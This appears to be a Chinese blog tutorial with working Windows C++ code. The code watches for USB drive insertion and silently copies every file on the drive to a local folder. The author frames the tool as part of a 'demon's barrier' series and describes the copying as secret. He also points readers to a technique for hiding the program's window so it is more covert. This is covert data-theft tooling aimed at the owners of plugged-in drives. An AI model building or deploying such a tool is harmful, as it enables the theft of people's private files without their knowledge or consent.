# 编程实现U盘插入自动复制U盘内容到本地
# 背景
U盘插入计算机后,不用任何操作,程序自动将U盘里的文件都拷贝到本地计算机上。这个功能是我自己开发的“恶魔的结界”系列程序里的一个小功能,至于有什么用,那就看个人的爱好了。在此,只探讨技术,不探讨用途。
现在,我就对它进行解析,整理成文档,分享给大家。
# 实现原理
这个程序的实现,可以分成两个部分:
- U盘设备插入的监控,获取U盘盘符
- 根据U盘盘符,遍历U盘文件,并进行复制操作
首先,对U盘设备插入的监控,可以参考我写的 “编程实现监控U盘或者其它移动设备的插入和拔出” 这篇文章,使用方法是对程序添加 WM\_DEVICECHANGE 消息处理函数,并根据 DEV\_BROADCAST\_VOLUME 结构体的 dbcv\_unitmask 逻辑单元掩码来计算出插入设备U盘的盘符。
我们成功获取了U盘盘复制后,也就知道了U盘的路径了。所以,我们使用WIN 32 API 函数 FindFirstFile 和 FindNextFile 从U盘的根目录进行文件遍历,具体的遍历方法解析可以参考本站上其他人写的 “使用FindFirstFile和FindNextFile函数实现文件搜索遍历” 这篇文章。 对于遍历到的文件,我们就调用 CopyFile 函数将它静默拷贝到本地指定的存储路径中。
这样,经过上述的两步操作,我们就可以实现插入U盘,自动拷贝U盘文件到本地的功能了。
# 编码实现
## U盘插入监控
```c++
// 监控U盘插入并获取U盘盘符
LRESULT CUDiskCopy_TestDlg::OnDeviceChange(WPARAM wParam, LPARAM lParam)
{
switch (wParam)
{
// 设备已经插入
case DBT_DEVICEARRIVAL:
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
// 逻辑卷
if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype)
{
// 根据 dbcv_unitmask 计算出设备盘符
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
DWORD dwDriverMask = lpdbv->dbcv_unitmask;
DWORD dwTemp = 1;
char szDriver[4] = "A:";
for (szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++)
{
if (0 < (dwTemp & dwDriverMask))
{
// 获取设备盘符, 开始执行拷贝, 从目标设备拷贝到本地上
SearchFile(szDriver);
}
// 左移1位, 接着判断下一个盘符
dwTemp = (dwTemp << 1);
}
}
break;
}
default:
break;
}
return 0;
}
```
## U盘文件遍历及拷贝
```c++
// 遍历文件并复制
void SearchFile(char *pszDirectory)
{
// 搜索指定类型文件
DWORD dwBufferSize = 2048;
char *pszFileName = NULL;
char *pTempSrc = NULL;
WIN32_FIND_DATA FileData = { 0 };
BOOL bRet = FALSE;
// 申请动态内存
pszFileName = new char[dwBufferSize];
pTempSrc = new char[dwBufferSize];
// 构造搜索文件类型字符串, *.*表示搜索所有文件类型
::wsprintf(pszFileName, "%s\\*.*", pszDirectory);
// 搜索第一个文件
HANDLE hFile = ::FindFirstFile(pszFileName, &FileData);
if (INVALID_HANDLE_VALUE != hFile)
{
do
{
// 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历
if ('.' == FileData.cFileName[0])
{
continue;
}
// 拼接文件路径
::wsprintf(pTempSrc, "%s\\%s", pszDirectory, FileData.cFileName);
// 判断是否是目录还是文件
if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
// 目录, 则继续往下递归遍历文件
SearchFile(pTempSrc);
}
else
{
// 文件, 执行复制操作, 复制到本地上
char szNewFile[MAX_PATH] = "C:\\Users\\Desktop\\test\\";
::lstrcat(szNewFile, FileData.cFileName);
::CopyFile(pTempSrc, szNewFile, FALSE);
}
// 搜索下一个文件
} while (::FindNextFile(hFile, &FileData));
}
// 关闭文件句柄
::FindClose(hFile);
// 释放内存
delete[]pTempSrc;
pTempSrc = NULL;
delete[]pszFileName;
pszFileName = NULL;
}
```
# 程序测试
我们运行程序后,插入U盘,然后等待一会儿后,我们打开本地上保存U盘拷贝数据的目录,发现成功拷贝U盘里的文件。
![](http://www.writebug.com/myres/static/uploads/2021/10/19/239efdaa4bb704b1084643f800d88fbd.writebug)
# 总结
为了防止程序在秘密拷贝U盘数据的时候,程序会卡死,所以,可以创建一个多线程,把拷贝文件的操作放到多线程里去执行,这样就不会阻塞主线程了。
同时,创建本文演示的这个程序还没有对程序的窗口进行隐藏,如果你想要把这个程序做得比较隐蔽的话,可以参考本站上其他人写的 “编程实现MFC程序窗口一运行立马隐藏” 这篇文档,里面有介绍如何一开就隐藏窗口程序。
# 参考
参考自《[Windows黑客编程技术详解](https://www.write-bug.com/article/1811.html "Windows黑客编程技术详解")》一书